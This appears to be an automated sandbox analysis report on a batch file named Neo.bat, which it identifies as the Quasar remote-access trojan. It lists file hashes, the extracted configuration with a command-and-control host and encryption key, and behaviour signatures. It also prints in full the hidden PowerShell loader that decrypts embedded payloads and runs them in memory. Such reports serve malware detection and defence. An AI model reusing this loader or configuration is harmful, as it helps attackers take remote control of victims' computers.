Analysis

  • max time kernel
    146s
  • max time network
    150s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240508-en
  • resource tags

    arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    29-06-2024 00:03

General

  • Target

    Neo.bat

  • Size

    272KB

  • MD5

    c674b29c2da91c60f4221b2e87fe8c15

  • SHA1

    3b79cb45ace0ddfedf1fa6f1b012321d830bf94f

  • SHA256

    f8310b9b5ae9c3f90b01d84c8022b6fdd7bbd29ba56a600d948be6eff75d426f

  • SHA512

    4f1c04ca8e4b0a2fd42a548245f49170ec65857098ac0f9bcebb96e10e19423f3a1c361c0ef0e5b9b1578d481342edcaca71c7a5846d1cd803db4868705dbb1b

  • SSDEEP

    6144:PX3bTXRS0eSuT+pRHttyzLOh8cU/rzckvlfFPtoqNwRUo:fPBmSuWXtyziacUDzNfPtoUC

Malware Config

Extracted

Family

quasar

Version

1.1.0

Botnet

Slave

C2

runderscore00-42512.portmap.io:42512

Mutex

QSR_MUTEX_aYgVTolyJfnSo2kPQj

Attributes
  • encryption_key

    PK7SpR1WESSqHBwmTfVi

  • install_name

    Client.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    Quasar Client Startup

  • subdirectory

    SubDir

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Program crash 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Neo.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2148
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cQOtDanpy2r1fIq2RmiAP3pi2F+wAyCLQ56qZLg4djg='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JbayyMB6uwbPJLlahgTXHQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $gWazs=New-Object System.IO.MemoryStream(,$param_var); $Cqmzr=New-Object System.IO.MemoryStream; $aiCtn=New-Object System.IO.Compression.GZipStream($gWazs, [IO.Compression.CompressionMode]::Decompress); $aiCtn.CopyTo($Cqmzr); $aiCtn.Dispose(); $gWazs.Dispose(); $Cqmzr.Dispose(); $Cqmzr.ToArray();}function execute_function($param_var,$param2_var){ $DGfYx=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $GbNUb=$DGfYx.EntryPoint; $GbNUb.Invoke($null, $param2_var);}$IuUoW = 'C:\Users\Admin\AppData\Local\Temp\Neo.bat';$host.UI.RawUI.WindowTitle = $IuUoW;$RQVpb=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IuUoW).Split([Environment]::NewLine);foreach ($ykdlx in $RQVpb) { if ($ykdlx.StartsWith(':: ')) { $fedhE=$ykdlx.Substring(3); break; }}$payloads_var=[string[]]$fedhE.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:3992
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 3992 -s 2708
        3⤵
        • Program crash
        PID:5092
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 3992 -s 2728
        3⤵
        • Program crash
        PID:872
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3992 -ip 3992
    1⤵
      PID:1464
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 3992 -ip 3992
      1⤵
        PID:984

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nnd0cpcb.uvm.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/3992-19-0x0000000007770000-0x0000000007DEA000-memory.dmp

        Filesize

        6.5MB

      • memory/3992-32-0x00000000746A0000-0x0000000074E51000-memory.dmp

        Filesize

        7.7MB

      • memory/3992-18-0x0000000005F40000-0x0000000005F8C000-memory.dmp

        Filesize

        304KB

      • memory/3992-4-0x00000000746A0000-0x0000000074E51000-memory.dmp

        Filesize

        7.7MB

      • memory/3992-5-0x00000000058C0000-0x00000000058E2000-memory.dmp

        Filesize

        136KB

      • memory/3992-6-0x0000000005960000-0x00000000059C6000-memory.dmp

        Filesize

        408KB

      • memory/3992-7-0x00000000059D0000-0x0000000005A36000-memory.dmp

        Filesize

        408KB

      • memory/3992-1-0x0000000004B80000-0x0000000004BB6000-memory.dmp

        Filesize

        216KB

      • memory/3992-16-0x0000000005A40000-0x0000000005D97000-memory.dmp

        Filesize

        3.3MB

      • memory/3992-20-0x0000000006500000-0x000000000651A000-memory.dmp

        Filesize

        104KB

      • memory/3992-2-0x0000000005230000-0x000000000585A000-memory.dmp

        Filesize

        6.2MB

      • memory/3992-3-0x00000000746A0000-0x0000000074E51000-memory.dmp

        Filesize

        7.7MB

      • memory/3992-17-0x0000000005F00000-0x0000000005F1E000-memory.dmp

        Filesize

        120KB

      • memory/3992-21-0x00000000070F0000-0x00000000070F8000-memory.dmp

        Filesize

        32KB

      • memory/3992-22-0x00000000071E0000-0x000000000727C000-memory.dmp

        Filesize

        624KB

      • memory/3992-23-0x0000000007310000-0x0000000007344000-memory.dmp

        Filesize

        208KB

      • memory/3992-24-0x0000000007340000-0x000000000739E000-memory.dmp

        Filesize

        376KB

      • memory/3992-25-0x00000000083A0000-0x0000000008946000-memory.dmp

        Filesize

        5.6MB

      • memory/3992-26-0x00000000074B0000-0x0000000007542000-memory.dmp

        Filesize

        584KB

      • memory/3992-27-0x0000000004E70000-0x0000000004E82000-memory.dmp

        Filesize

        72KB

      • memory/3992-29-0x00000000746AE000-0x00000000746AF000-memory.dmp

        Filesize

        4KB

      • memory/3992-30-0x00000000746A0000-0x0000000074E51000-memory.dmp

        Filesize

        7.7MB

      • memory/3992-0-0x00000000746AE000-0x00000000746AF000-memory.dmp

        Filesize

        4KB